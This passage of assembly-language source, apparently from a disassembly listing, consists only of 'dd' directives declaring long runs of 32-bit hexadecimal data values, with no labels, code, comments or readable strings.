		dd 0EE49D600h, 75006AE0h, 4BA869C0h, 65C3060Bh,	0BA84F0AEh
		dd 0CE0DEBC0h, 0B32D0725h, 90EACDD5h, 83A116EEh, 5AB1F200h
		dd 40937A64h, 59F4F3h, 2A7B23FAh, 8C9F5FE8h, 0EFA72406h
		dd 91FCF7h, 89E267F2h, 0ED5E3A7Dh, 6E6FB700h, 6C453548h
		dd 0BA4F066Ah, 98088722h, 181F2F38h, 1D1190F9h,	247B91h
		dd 0C8A035F4h, 0C5533BB3h, 8539FB0Bh, 0D80080B0h, 182D43Ah
		dd 4DEB5E8h, 708A5046h,	0D900C617h, 0CDFC1EB2h,	7C7E6E8Dh
		dd 0D3D50029h, 72433FB5h, 560F0E25h, 0A778389Dh, 6000429Fh
		dd 9E2F8D45h, 51C81F74h, 7C370875h, 6E1A405Dh, 8A00883Ch
		dd 8EFD1B3Eh, 1E32F64h,	80B15B2h, 0F3447387h, 0AE324001h
		dd 0FE843347h, 0F0F21080h, 8A376516h, 0B3007B90h, 0DBE12418h
		dd 0E50660h, 0BAD761B2h, 693D811Fh, 9D712602h, 408BD84Ch
		dd 3FB3491h, 2B967B6Fh,	2C8847AAh, 0A0F256B7h, 675B3100h
		dd 0B486287h, 2E300344h, 73B24B25h, 5CC4C690h, 8B0013F0h
		dd 0C16D3454h, 2C872ECCh, 6B9083h, 0E8301278h, 0BA03FF26h
		dd 0A9A69CDAh, 90DE48h,	1E91E95Dh, 0D7110A6Fh, 49CF3F00h
		dd 0BECC13B5h, 0DA401FAFh, 2C528374h, 659026A5h, 0C300FD1Dh
		dd 391FB730h, 0C4F8B5h,	92E96FE0h, 8A288006h, 0A67E8C00h
		dd 2745745Ah, 0A1BC00BBh, 835E0938h, 0BD3F47B8h, 179850E5h
		dd 885F8600h, 646E7EEEh, 47A800C7h, 0F8022B1Bh,	2A0095ADh
		dd 0CCA022A3h, 693F88h,	261C259Dh, 5D66583h, 0DF158000h
		dd 59931BEAh, 0A2350016h, 9B3C4CE8h, 320026D5h,	470994A7h
		dd 2A0649h, 0BC236C8Ch,	3C31E2ABh, 0C5A0D000h, 0BBF25CCDh
		dd 0B07F065Bh, 78702E80h, 9AE05702h, 0E0BC8242h, 0EF92AFh
		dd 10B9A89Eh, 0C4EA3743h, 0F44B790Fh, 6DE5A0B5h, 3817340Eh
		dd 711897B3h, 0DFCF4909h, 0DC47D105h, 0F400A91Ah, 0AE1B88A7h
		dd 738D2AD2h, 0DA601DC8h, 0CD07CEE5h, 80B7A802h, 0E323A560h
		dd 9B39FF60h, 14B4C0h, 68BF2E12h, 3C359D0Eh, 0D8BB9600h
		dd 8609B854h, 0FAC200F5h, 0D012C310h, 0CE0C6C63h, 4CD7494Fh
		dd 2E0B3D34h, 4B889C80h, 5FFCC6C3h, 0D64E9500h,	89275D39h
		dd 1E750017h, 4F0B92CBh, 2B0124D0h, 88AB835Ch, 0B0842341h
		dd 0AA3C3855h, 4BB41B81h, 0CEB481CEh, 0F9834872h, 1D4FA080h
		dd 0D12C85E8h, 0E9BEC40Eh, 0EC9C404Eh, 4AA54Bh,	0F6AB5D0h
		dd 0A2DE4940h, 29DC6D14h, 460578A7h, 6019BC7Ah,	0DE93AC01h
		dd 0F8E3245Fh, 3E3950Fh, 45F0C49Eh, 0AAF10678h,	0D3DB60CAh
		dd 9643BD00h, 5289E6DCh, 0B370C4h, 4FDAACD8h, 0D5ADEB8Ah
		dd 0F3C8D201h, 3E0FC20h, 86B499DBh, 9F9C20h, 175BC532h
		dd 0EDE80CBFh, 4E613800h, 0BA06D57Bh, 2DFCEEh, 0FF4D5335h
		dd 27E8155Ch, 268D200h,	99484ACDh, 0DABB6038h, 92EDB86Eh
		dd 49458501h, 1BC68996h, 16748140h, 1F8300E1h, 0CD87DF47h
		dd 0FD72A11Ah, 4F3A0700h, 7CB3B514h, 5EF4001Eh,	69D617B4h
		dd 4AF0505Fh, 0B5704600h, 0D179EFDFh, 648C073Fh, 64E5E5Ch
		dd 3C0631D0h, 9B7A4506h, 91B10082h, 0BF594F6Bh,	8C07D7F7h
		dd 4C467F4Dh, 0B41E7000h, 0D1ED0079h, 0BCD9A040h, 0FB905EF6h
		dd 23527D00h, 9FE1F7B7h, 87E620h, 39507107h, 0C2E9EB34h
		dd 0C4244F90h, 3F007854h, 0B3D6F0DAh, 3D2A00BDh, 91D7CCAAh
		dd 9E006428h, 9234B26Ch, 0FF932h, 0FE7083B8h, 97D727A0h
		dd 3D1C3B7Eh, 3E80AB53h, 0BC1EA998h, 69EE0E6Ch,	0E0A06015h
		dd 80BD75D0h, 0C2A02A00h, 727A0F56h, 5EB5000Ah,	78161ABFh
		dd 6A00D632h, 0B0C4ED1Ch, 485461B7h, 0A7398043h, 80BE899Ch
		dd 4F0E7D78h, 0D2008C97h, 0E5710C36h, 31FEAACh,	0E774C77Bh
		dd 0BFB8A129h, 2F003383h, 0B905B488h, 7A55E40Fh, 0DB6B2426h
		dd 0B391013Ah, 30398C25h, 85017FDAh, 784C10C0h,	1660FBC1h
		dd 291200E8h, 22A2ED73h, 0DD13E1CDh, 490290E6h,	4AA725F5h
		dd 58484064h, 38FA008Bh, 5304A5B8h, 851E477Eh, 1840BED9h
		dd 930E5C6Ch, 0F3510F5Ah, 0F36592h, 6112F5F8h, 0F41FE728h
		dd 7EC0CBDCh, 0B20B5445h, 43A50032h, 30EDFBDFh,	2A00A709h
		dd 0D02FAF99h, 0EEE2F4h, 5086EC55h, 3A11799Bh, 3E51BE09h
		dd 0A2240C4Eh, 65F6A4h,	21CE618h, 755C1E4Fh, 0DD0013F6h
		dd 0C00DCD21h, 982BF31Ah, 0F0D201ECh, 947AF5F1h, 109C05Fh
		dd 0A41C27E0h, 0B5C07B2Ah, 468875A6h, 7814986Fh, 20514DEAh
		dd 6A9D9800h, 5F3207D6h, 8D493506h, 5860127Ah, 69144AC4h
		dd 0AA03F4B4h, 546B2FECh, 17C1A983h, 0CBEFC8DFh, 9E4930Eh
		dd 3EC28098h, 0FB29038h, 0B3E79E7Eh, 40B12466h,	0EEAFEB02h
		dd 40F3F680h, 3BB80AFCh, 0EF007284h, 8BAD512Dh,	94EA61B3h
		dd 0B0CD9700h, 39ABB9C3h, 0A2F507D7h, 0D9AD9156h, 0CE02CC8Fh
		dd 7C68B719h, 0F2039D81h, 6FEB8F28h, 119AE0Eh, 0C8928020h
		dd 41D89F94h, 308D96F4h, 37487084h, 84F70188h, 0FBB72B07h
		dd 314CCh, 0B286FDA3h, 5DABEC7Fh, 0CF9D5A02h, 0C87A6156h
		dd 9546F4h, 10C8DB84h, 592255B7h, 9FCF2039h, 0D3C07176h
		dd 0D34D9BFh, 0BE891BBh, 0B58028CCh, 48AE021h, 355DC702h
		dd 62546AFEh, 98FC003Fh, 611C841h, 0E6E20768h, 805071B6h
		dd 0FB007D94h, 1BEB2FA4h, 78D0E7h, 81ABC71Ah, 0E431AD21h
		dd 0E0B648h, 0D22EA646h, 0EE7D4D5h, 69305301h, 95080137h
		dd 0C4C3AAF6h, 0B022687h
		dd 0F79EB04Eh, 184477h,	0AFB2987Bh, 0F9C874B9h,	635770E1h
		dd 0FAE52600h, 7B5BCD1Ah, 0D8210446h, 0D0DC4E60h, 7F96C230h
		dd 720B0084h, 4B650F51h, 971FFA69h, 7CCB2586h, 0CF6C2085h
		dd 24D563B9h, 0F31F62h,	10DC98E7h, 0C660AF9Bh, 0E2351CC8h
		dd 0B71B0055h, 0AEBBF753h, 3938543Fh, 4E1880C8h, 93EF1AA0h
		dd 6F2C00B3h, 73902E95h, 0EA7336BDh, 6A561400h,	9B45DAE2h
		dd 0D7050049h, 71699813h, 2C07841Ch, 687AFBDBh,	6B569E70h
		dd 0EE6200AAh, 69E536F5h, 659083BDh, 9D6D6000h,	709EB9AEh
		dd 2F1800FBh, 96744FACh, 880325C2h, 3C8BD2CBh, 0D8009DDBh
		dd 0C3DDAA77h, 645701A3h, 99D02433h, 0FE0DDCB7h, 8003A500h
		dd 0EACB1D26h, 91C43837h, 7F3B9F00h, 0FCB5253Ah, 0E60B148h
		dd 266ED5Dh, 0C0517A26h, 5D81CE68h, 7403B8AEh, 1052D213h
		dd 608AA3A9h, 91725D68h, 14A5720Eh, 312F00C0h, 1C56B609h
		dd 8338C958h, 816E17C4h, 16F6ECB8h, 0CCF1187Eh,	0AD3AC714h
		dd 7B007521h, 3486B3Fh,	2E69AFh, 817568B5h, 0BEEDCB93h
		dd 869CD400h, 0DB59A5D6h, 835E00FFh, 0C5E2A9E9h, 883B078Bh
		dd 357B064Fh, 4E808708h, 0BBFF8A5h, 0D17F2Dh, 0E76BF524h
		dd 0F83B004Dh, 5D6675CAh, 0FA01BF0Ah, 0E21EDDD6h, 0B8606F2Dh
		dd 0B9E50025h, 2FF50B5Bh, 0C926558Ah, 688064DBh, 85A407DDh
		dd 76120492h, 85C8D5F8h, 0C35888F0h, 7C52FC00h,	77F0A0CDh
		dd 14B0006Eh, 0A32FD9FEh, 85000C49h, 21312E04h,	818B12h
		dd 0A95EAA80h, 0D0CEA4D3h, 0F7463F2Ch, 4B5D761Fh, 6894F287h
		dd 0E74941D3h, 40578600h, 22A41C93h, 0D58B4F88h, 0C7DC2840h
		dd 541FBF56h, 4EC91137h, 29E80074h, 0E4B564h, 17306898h
		dd 807944F4h, 0D1C8EF50h, 5E736700h, 5B6D5739h,	0F39A0106h
		dd 744B2C33h, 24A180BDh, 9FD3FDA7h, 9CF4134Ah, 2201641h
		dd 888A89Bh, 272C1850h,	0DD073002h, 5E90BB31h, 54048E73h
		dd 1ECAF089h, 0C914EBA6h, 784003E7h, 9002CC9Fh,	4D76CDFDh
		dd 0B9B4A75Fh, 0A7195E00h, 0A8730053h, 1CC830F3h, 0A504DD91h
		dd 17670893h, 0F7EB888h, 4A5F89F9h, 0B62669C0h,	837B3F1Dh
		dd 0F117F2FAh, 20000642h, 8EF29B3h, 89A900D7h, 1B8F6888h
		dd 95F83843h, 0F28C5800h, 0B6494010h, 9D2D48F1h, 1F4CE700h
		dd 0A1D585DAh, 1842C00h, 7E52B52Ah, 93870570h, 8064033Bh
		dd 4E4F8B38h, 9B0D0510h, 9C505B00h, 0A671C581h,	5902E57Bh
		dd 0C2EC8E6Dh, 3DC4C07Dh, 208648C0h, 1639E60Fh,	80DDA6A5h
		dd 0EF041570h, 40256110h, 5DCD800Ah, 0E81E39E8h, 0FD70C758h
		dd 0E053A02Ah, 0B4007CF2h, 32A56DB5h, 9C54B6FCh, 0FC2A1738h
		dd 0A245003Fh, 0E41FD033h, 0A7480753h, 81BB1D55h, 34AAA977h
		dd 0DB0042F4h, 0C33C97B9h, 6615B17h, 0E07FD309h, 700151C6h
		dd 2391C0BAh, 2920A631h, 9F6B073Eh, 6B78C5ACh, 0DF5D8420h
		dd 3D1699AFh, 0EF000EFFh, 0A14205DCh, 0E2810193h, 7F54885h
		dd 2D319E13h, 2BC391C0h, 4830FA03h, 2803C2D9h, 3633AA01h
		dd 0F3B8C4C3h, 6002250Ah, 1D433B7Fh, 0BB28E11Eh, 74F63F0h
		dd 4BAA2A17h, 0B1F7253h, 89813040h, 0AFE13112h,	41F55000h
		dd 302A4A4Ch, 7C782334h, 0F6F20C24h, 8CDF1100h,	2E657770h
		dd 0C79628D3h, 0F0FF73CCh, 0B7400BDh, 0A1D2CDDDh, 78583552h
		dd 0B2EDCF54h, 0AFBA6021h, 55BE0900h, 1F18B7E6h, 0EAEEC175h
		dd 1A47764h, 426B464Ch,	2001A591h, 0A07E1F5Dh, 7D0AD90Fh
		dd 172D631Dh, 555AC216h, 1E9A8840h, 500ED271h, 2023444Dh
		dd 1D3C8C0Eh, 0C9CC3851h, 75217D8Fh, 494FCFA0h,	2D2C4ADDh
		dd 90002C55h, 41FE10A7h, 0C45D0067h, 4B78316h, 0A600290Eh
		dd 0F1FA7C27h, 3B5FB35Eh, 0BE00D13Bh, 0C3AFE4A8h, 8900C1B4h
		dd 0D81BADEBh, 9E7061h,	0E00A42CCh, 0A1958011h,	88F79B00h
		dd 225BBDEFh, 0FFE91275h, 0E0AF0021h, 0B7FE5CD2h, 374BBC1Eh
		dd 0B0809E00h, 7A1C93B4h, 0E1EEDDh, 64A7DC74h, 313BE440h
		dd 0E22AE1Ch, 679450BEh, 70D3440h, 52AA1B1Ah, 0A67DC073h
		dd 44007B5Ah, 99216227h, 50D4ACC3h, 4CA0F420h, 7803EDCAh
		dd 367E0AAAh, 0AB5AEEC8h, 74752900h, 25E1CA1Eh,	34BC0BDAh
		dd 7CA46AE9h, 6855409Ch, 3ED560A1h, 89A5783Ah, 7456421h
		dd 0FC25F8A7h, 287BFB1Fh, 0D71D3E40h, 2EB1727h,	99CC6A79h
		dd 4F60491Bh, 0FA2E4841h, 1F002A8Ah, 67B3243Eh,	3D4C000Ch
		dd 32F80355h, 340BCFA1h, 0A1B66C8Dh, 0A22B9968h, 4800A43Dh
		dd 4F61D441h, 0EC185C18h, 1EB028B4h, 5A6E1E6Dh,	0DD3EC0BAh
		dd 7BC2BCDFh, 0CD785F02h, 40C7FF71h, 76D190h, 0FB2C2435h
		dd 8F73E901h, 1004CD17h, 0BF13FC03h, 0B1D5CBFFh, 4AF07D9Bh
		dd 8BD40145h, 5ACDC251h, 0ED80FC8Ch, 6ABDD304h,	0C8802FE3h
		dd 0A9468304h, 3C4A0E9Ch, 0F181F800h, 0D89D75A6h, 0DF2ABF76h
		dd 0BD0CB0B9h, 28FD8CC1h, 0B4A50C41h, 5C705EABh, 4C25F774h
		dd 965E80h, 42EC3C15h, 60FDC629h, 0B70FE624h, 0C0F51055h
		dd 61494EA2h, 0BB6D006Eh, 77FBE948h, 0B8A0C9E7h, 0B31D1DA4h
		dd 3840185Ah, 7119F47Ah, 0B1DE0050h, 0FFC6564Eh, 2D00A62Bh
		dd 9C020A14h, 610FADh, 0BF96F567h, 3CF05BCAh, 2D0E1CE4h
		dd 0A644F632h, 0EB8B172h, 0FAA0F7A6h, 68A82240h, 52980626h
		dd 20029D30h, 388A4D6h,	9E236C61h, 0B39080A6h, 510024D5h
		dd 0A3DFB16Ah, 6EE73995h, 9B4030BFh, 0B9AD8881h, 1B5C1300h
		dd 0A67B63FBh, 1EA9004Eh, 0A279BE94h, 9905EF9Bh, 5CD7AC66h
		dd 0E5B33C80h, 7320003Fh, 0C1D9B439h, 372C8985h, 403078C0h
		dd 0C07CF14Dh, 4F55E11h, 0A4B8F469h, 6BC2900Ah,	803EE4F2h
		dd 0D8BCFF02h, 0BEB61Bh, 3F1EAEEAh, 87F87DF7h, 0A4741206h
		dd 5D48A979h, 7A0920EEh, 7080C492h, 0E50CBF11h,	2B882A00h
		dd 843509AFh, 7F41002Fh, 66FB2DF2h, 7800A259h, 32B8575Ch
		dd 0F00C68E1h, 7617072Bh, 0C0A393CAh, 0D4D219Fh, 0E072F630h
		dd 0E310509h, 0B0EBD94Ah, 0D711EFE0h, 0D47CC7D3h, 5F984F03h
		dd 7B27F2BCh, 694200D0h, 0C6E9A859h, 0E01F3CBFh, 82FE1BF6h
		dd 0BA5E1F0Eh, 8094D9B3h, 3F3E0BA4h, 0D4FB33E4h, 0A600400Dh
		dd 1A5B8C32h, 0E186510h, 478A349Fh, 6084CF40h, 0E41CE5B0h
		dd 7480D10Eh, 0C97EB2CEh, 0C2590003h, 87548EF9h, 0D15BEFA8h
		dd 8FE08820h, 0ADB11F7Bh, 435CCB58h, 9217F864h,	0A400324Ch
		dd 819AA014h, 0B0BE493Ch, 0CB044F22h, 0C92AE268h, 25D2EB00h
		dd 0EF024E0Ch, 7301A6D3h, 7BC7330h, 125916AAh, 6470B145h
		dd 993ED91Dh, 0CA0B7DC6h, 420D0048h, 60E1209Ch,	0C278F6B7h
		dd 0FC0014BCh, 78CB8871h, 0AD1091F4h, 0C9343488h, 0A829D0C2h
		dd 9707D0C0h, 5826B107h, 31C1B68Fh, 34D47BF8h, 0FDD40140h
		dd 16284615h, 0B0DC6020h, 630F009Ch, 0DBDCE15Fh, 444D3F99h
		dd 8D00106Ch, 4F1E4C1Dh, 0AB48FD37h, 1B031DC0h,	6191F140h
		dd 5434236Fh, 0E6DC88h,	0FEEBC27Eh, 0B309A7CBh,	0A8530B02h
		dd 0C8E46FECh, 79E618h,	0E905F4E3h, 0D61AC0A5h,	0A6003CB8h
		dd 494359A4h, 1C69B85h,	4530C76Eh, 7854ECBFh, 461F0178h
		dd 0C6AF0FB3h, 0B06834h, 8816265Fh, 0C56E3305h,	1E0C848h
		dd 69914C93h, 0A020C4CBh, 0EEAB3E81h, 8C742B03h, 0E1A89422h
		dd 0A7EA472Ch, 0E32AE490h, 8603BCDCh, 0DFBB249h, 0EDE1F8E8h
		dd 0AA084C87h, 5E0E611Ch, 0AAEA854Bh, 4DC84FF3h, 21FC5A80h
		dd 0A70F28CCh, 47E649D3h
		dd 83E9D17Eh, 0F2C8CBF0h, 0EE808F2Ch, 0E6E4609Fh, 2847E1h
		dd 0DDE74021h, 618B3C8Eh, 0A163FC01h, 0E26B28Ah, 98389040h
		dd 8572002Ch, 959E031Fh, 21E68DA4h, 6F55100h, 27AD4376h
		dd 34B12F8h, 16A40E91h,	402F04A0h, 0E4F695C4h, 876B1F3Dh
		dd 0D57778A7h, 43F3AF70h, 22F92EDFh, 0FC6D07C4h, 0A6D1B058h
		dd 0B8002768h, 3574CE69h, 0A048682h, 8E38318h, 904100C4h
		dd 0CC3DDDAh, 0FA47601Fh, 5FC1CE80h, 0BDAEF1h, 253588E4h
		dd 1A38E697h, 15F3ED0Eh, 0A2E16044h, 62BECDh, 0DE12F742h
		dd 25FA56F5h, 0EFDFB000h, 49F03D2Dh, 2BBFEBEh, 3530A06Eh
		dd 48C0C3C5h, 0EE04BA9Eh, 3E491A1Fh, 4C10ECA2h,	0DED21DA9h
		dd 2EDD94Eh, 406D2935h,	12D3228h, 2B137C12h, 60A32737h
		dd 0C700960Dh, 0E74FFC74h, 4CACBD75h, 971D29E2h, 957D4049h
		dd 0FB523A24h, 4437A824h, 92FF7F08h, 0C234A2CEh, 602760DDh
		dd 8F1934h, 3CC4262Dh, 15FAABF1h, 32894F07h, 822B48AAh
		dd 43D51120h, 0D61DC0ADh, 3F6D2CC4h, 772B0586h,	51CCC004h
		dd 170059B8h, 0FCDBED9Dh, 1347A8C6h, 0C089C207h, 2B8CADF0h
		dd 7200A8B6h, 621A11D1h, 0C3FA81h, 0CB5DFEC8h, 0D807CDBBh
		dd 7FFC172Eh, 0F2EE2230h, 0BE30003Bh, 7437B8C4h, 16075E04h
		dd 0ADEB10FAh, 0C1D80600h, 22A11C7Ch, 9FAB4008h, 4E398AC7h
		dd 9EB24F00h, 6526934h,	26A50BE0h, 6C215101h, 0F48D7AC7h
		dd 549EA77Fh, 0EA002017h, 0B2AE9D23h, 16530456h, 0B0B55CADh
		dd 4F00D08Ch, 0D50AC3CAh, 811042h, 7DF8B320h, 0AAF59056h
		dd 49453900h, 1BBE315Eh, 0E23D004Ah, 3F0F6F67h,	500C7E8h
		dd 4B92DB3Ah, 26C0CA72h, 614811A6h, 34CE97B7h, 3D000F18h
		dd 0C05632CCh, 2D86508Dh, 8485C5DFh, 0A164C5E2h, 0D7B5C884h
		dd 36BACC00h, 0EECAA5B3h, 32B90333h, 0C7CDD051h, 0F35808E0h
		dd 1E9A9F00h, 0C0F95DC5h, 78590E1Fh, 51C018BCh,	8D1D94F8h
		dd 5C9E8F00h, 0F27C9FDBh, 14F90130h, 0DA6C7E34h, 0F786F8D0h
		dd 0D3E40B09h, 513000F6h, 0F00CFDC0h, 374E003Ch, 0B001B24Ah
		dd 5D00A16Fh, 0A41B74EDh, 0BA96795h, 0D3DA0A28h, 4560DA80h
		dd 0B005FA7h, 7FD13CC0h, 39B08A74h, 3900E187h, 0D20319ACh
		dd 25F2B9DCh, 0F8EE1324h, 97287B00h, 1F818C29h,	80E03ACBh
		dd 691C9A2Bh, 0FE0565A7h, 40B5B314h, 0C457AB07h, 0AF9456E0h
		dd 0B01D3D9Dh, 5B03BCD8h, 2BC5D8FFh, 25E2C2D8h,	0AD774A13h
		dd 84CBBD00h, 5C8E94h, 0ACDBC062h, 0CD05A2E8h, 4801EB00h
		dd 55AAB274h, 19E60333h, 0B6ECC6BDh, 0DCDE17E8h, 3EB71C3Dh
		dd 9F0277BFh, 5FAE896Ch, 0A64C40FBh, 68A21C21h,	0D62583FCh
		dd 5AC8E72Ah, 0CFEE63B6h, 1EC40A00h, 0F6159FB7h, 8D49005Bh
		dd 0A9096C4Dh, 891245C3h, 890FA174h, 520D60EFh,	0A38EB5h
		dd 0C02F2EB2h, 634EF50Ch, 0C154691Fh, 0DC80340h, 3DA9E32Ah
		dd 72004AADh, 0D1C99BCBh, 7E7CE721h, 0CF0AA40Fh, 526C0033h
		dd 2CE8Dh, 40310E4Eh, 0DA4A266h, 1032CF2Ah, 80A90540h
		dd 5AE87974h, 0F0C81120h, 3C10C019h, 7A750E59h,	20C920CEh
		dd 0F1F4B021h, 60EF7D81h, 0A252D889h, 58DE6416h, 74316F00h
		dd 626E586h, 4E20CEA9h,	0BF7C507Ah, 0FEF6C14h, 0E70C261Ch
		dd 76E13930h, 29E91DA9h, 0EDE80C1Eh, 9A004460h,	0FB4ACB6Ah
		dd 3F0AE1h, 4E8FD881h, 0A0CFC223h, 0ED78B700h, 0A859A122h
		dd 3D5403B2h, 1D6F10C6h, 0CBFB1801h, 750C94C5h,	6E5DDF0h
		dd 73A0702Ah, 0BC1D204Ch, 90B08959h, 3E2EDEC6h,	3060A4CBh
		dd 4AE9C5A2h, 29CE8E03h, 627A8C9Bh, 87144018h, 7442870Fh
		dd 0EFB4FD81h, 0D843D1E3h, 1A8D2982h, 4871E0h, 640360F1h
		dd 448E3277h, 0D5F93163h, 0E35A6C09h, 1070890Ch, 0FBE51F1h
		dd 0B7B0C6BCh, 7E9BD1B8h, 0F2CC6750h, 4F073D18h, 50DC041h
		dd 980C88Bh, 0CDF44024h, 0A0F61D56h, 0C64D1B03h, 0E0782E4Ah
		dd 0DA5E398h, 0C26143BBh, 31600760h, 0F03CED50h, 693048ABh
		dd 0BDDE2DCh, 8BBE006Ah, 2FF004F1h, 0B5005FFFh,	52E84B4Fh
		dd 0C3AD09h, 0F9C76151h, 8ECB758Bh, 0FA6A239h, 702B204h
		dd 0A790EBD7h, 4FABD3Ah, 9B9E9A2Fh, 0DE3C384h, 175D4588h
		dd 0FA4F2D27h, 7EF826EBh, 0C6B000E6h, 0A18460F7h, 81B87600h
		dd 0BBCC53BDh, 8C1201BEh, 60FB984Ch, 54D0825Bh,	44045F8Dh
		dd 0AB7200BCh, 0B9FAB20Eh, 0CF7D6081h, 216808CCh, 0EA30E8Ch
		dd 0A660E9F2h, 6D92970Bh, 70F76105h, 0D81E7430h, 0F4E865C0h
		dd 28CB2122h, 28F0ADB4h, 4B4C1E5h, 0D9BE4D5Bh, 0F06C97F3h
		dd 74B02DEBh, 4E40D106h, 6008610Ch, 0F34F21F9h,	0CE152E2Dh
		dd 44EC23A0h, 0E5094DD8h, 211A2C43h, 69231058h,	52822081h
		dd 806D45B8h, 32634C29h, 0C56E7E8h, 8EEF21A9h, 21C07008h
		dd 1032BEA3h, 89B3047h,	72200551h, 4A05F071h, 6DADFFF3h
		dd 0C05E9848h, 0FAB50EAAh, 6722A146h, 0EA28900h, 0C5EEF559h
		dd 8CA506E5h, 0A86E6B08h, 29730430h, 3B0B46h, 8B86CEE4h
		dd 0AEC08771h, 0D5738A0Ch, 104F120h, 4EF15175h,	0F3C8F3E7h
		dd 0F5A6A802h, 0A8C44347h, 2903B0B4h, 0B514FBh,	50D7A10h
		dd 5A823BDEh, 8838B0Ah,	0CE02FBBBh, 5FFFA3ADh, 731E5A60h
		dd 0A28A4A00h, 0D2BE1A6Ah, 0BCA71DD1h, 0C90180E2h, 0DA055451h
		dd 0E0B32B1Dh, 0CF4B0C00h, 32EB49Bh, 571BCE62h,	837966Ah
		dd 43D021F3h, 7E6280B4h, 8F420FABh, 3E89C2DDh, 0EF809C8Eh
		dd 0A02E2CDAh, 9FF69E01h, 178FD6C3h, 4A6B088Ch,	6003B20h
		dd 0D03EF1A0h, 3FA20A1h, 707ACF12h, 68031DABh, 5710EFB1h
		dd 307848h, 0E911496Bh,	7B3613D2h, 823CA33h, 15210047h
		dd 0D0CE1131h, 16013B56h, 0EA0FE4ABh, 5883F43Eh, 15136E94h
		dd 0EFC91860h, 38EF6FAh, 546CDBE2h, 0CDBF03C2h,	5E4CF8D0h
		dd 301D9B31h, 0D980784Fh, 764506CFh, 6300C433h,	1080844Eh
		dd 0DA90731h, 0BAEA25F0h, 43C091C9h, 0D2113683h, 46311B8Ah
		dd 113E1610h, 78546300h, 0EC4BDD17h, 43963003h,	988BFD90h
		dd 0B85A2600h, 0EE9CE7BAh, 0AEC80046h, 0FC48B27Eh, 9E00494Ch
		dd 78472E51h, 0A29663h,	4DDCCFAh, 21E6B354h, 0AF6F7A00h
		dd 689A271Eh, 0F2CE2CB9h, 80181CF1h, 30E7852Fh,	760EED70h
		dd 60497B99h, 8A1FDF0Ch, 5EA500EAh, 38AA2AD2h, 23E09D1Ch
		dd 0E688C500h, 0AEBE28F7h, 0BD8305Bh, 0C02AC248h, 6784473Dh
		dd 15833410h, 0E3D2F818h, 0A677067Bh, 78889978h, 0F7003F70h
		dd 0E1DB1830h, 384BE6C8h, 0C0798A44h, 3E049168h, 4F00EEC5h
		dd 0BD41DA69h, 5F2850h,	12A065F1h, 6702ED3Ch, 0D4732104h
		dd 0D184143Ah, 28A0C6h,	57712391h, 0AA6B810Ch, 70786874h
		dd 79E29900h, 491B2C20h, 720DFF5h, 709DBBD2h, 6EA33F5Eh
		dd 0BBC7683Eh, 915B008Dh, 0E539EED0h, 0B10007Bh, 0D49DDBBDh
		dd 0C739C33Ch, 0E7138ED5h, 0FF9560DFh, 2188B64h, 0F2F8E5Bh
		dd 0EAC0A698h, 303BD9BCh, 5F2D80B2h, 0E5F08FD7h, 75810040h
		dd 0C68E4B0Fh, 0F700326Bh, 0A85A2343h, 1D19AB1Ch, 0AA4798h
		dd 0BD2CC117h, 0D773C03Dh, 954B2303h, 0C421492h, 78A89720h
		dd 31C04EBAh, 3E671199h, 9467966h, 33B10F5Ah, 65000C09h
		dd 0D6778B4Eh, 38C1D800h, 41EDFB58h, 0C5D9017Fh, 2D96E7DDh
		dd 0F2B3D440h, 3B732300h, 0F1E04917h, 5D1A077Fh, 10153AC5h
		dd 9AC7CF1Eh, 8DA2FC06h, 7911272h, 0B46E04A7h, 1B35F0D6h
		dd 0CA0E3A77h, 0C0DA8A31h
		dd 0C32D1079h, 0BC806F7h, 39179496h, 2073CECh, 953B58BAh
		dd 458090D7h, 756240h, 8E8D6C09h, 0D11F891Dh, 7F9A2A03h
		dd 0A038D724h, 33C721h,	3EBCE495h, 3111416h, 0A4005376h
		dd 22840D4Ch, 6062C5E3h, 0E019482Ch, 6E038C72h,	0A663AA5Dh
		dd 740DE015h, 0ADDD0627h, 70BC7B9Dh, 92003EF8h,	0A74DC1BDh
		dd 0F59484h, 0C8B8A9F4h, 0E52B89E8h, 0EB8FE101h, 2575A314h
		dd 6E6DA980h, 0E9BDC5F1h, 521ECD00h, 57958936h,	0DEF80C65h
		dd 0E56163E0h, 2F91EA00h, 736C9D0Eh, 471700A8h,	22676388h
		dd 0D900E3C3h, 0A24FCFD0h, 18DD08CCh, 3830395Bh, 830FB969h
		dd 1F5D237Dh, 0C8B1D1C0h, 0C61A3Dh, 77B80462h, 0E096ED7Fh
		dd 0A38B9B00h, 938D39DEh, 107EA15h, 85CC6A40h, 0DCA99275h
		dd 65025A4Fh, 0F5DC4BF7h, 0C8BB403Bh, 3C60FCBFh, 5E801C8Ch
		dd 0F7FBB31Ah, 330E5DCFh, 0C641BA31h, 2B407635h, 0D004AACBh
		dd 3E60B60Ah, 0F253C210h, 0E7CC00EDh, 9574286Dh, 0C407EEF8h
		dd 700A4ADEh, 0C8601DF0h, 295F641Ch, 9F4E2179h,	1171EC11h
		dd 851255A2h, 89F7E910h, 665180B8h, 10A82B5Eh, 0D7301C36h
		dd 6CC7C0E1h, 0C2538185h, 0C600D573h, 5928FDA5h, 7F12A7h
		dd 4E9AD072h, 24E75263h, 3BC77C00h, 0E47406A1h,	5E950014h
		dd 35BF422Fh, 6600982Bh, 0CD23DC88h, 28D9CA4Eh,	80D2A7h
		dd 7062C3F3h, 5DF25EC9h, 0FFACF000h, 512F95FAh,	0ED60003Eh
		dd 1E356CE9h, 0BD1F0C08h, 0FF28C8ACh, 0B2C6E200h, 0BC6CA6C5h
		dd 0A7B43FE9h, 21325418h, 45009067h, 0EB7D100Dh, 0F6CFDC3h
		dd 36202F80h, 0C7D8DC23h, 478339AFh, 0FA7BDB8h,	0B61C5D60h
		dd 0E900B731h, 0C564A0E8h, 1DB1FEBh, 850E9479h,	20FB2786h
		dd 3D00F771h, 72FCB1ADh, 3D66C39Dh, 4D94DB73h, 8800F045h
		dd 0A823321Bh, 1A07BE4Bh, 7E024EBh, 278362A0h, 0A71002Bh
		dd 0C351E841h, 0A40068C8h, 0E4D17655h, 3C472DF0h, 0E800AFD5h
		dd 0F5F870CEh, 1A006C99h, 2B495A85h, 919A11h, 0D27D39Eh
		dd 0DDFC58B1h, 886A0200h, 0B81D5B20h, 7CF30026h, 0AB850D5Dh
		dd 0D74C9972h, 87DA0052h, 65264E4h, 31D3306Dh, 60EE1A11h
		dd 90E6E100h, 0E72F16C4h, 0B1B80E33h, 0CE8A9EBEh, 9928DCh
		dd 0BB3D230Eh, 8A129F31h, 1189FCEBh, 0A8493303h, 0F0C05CE7h
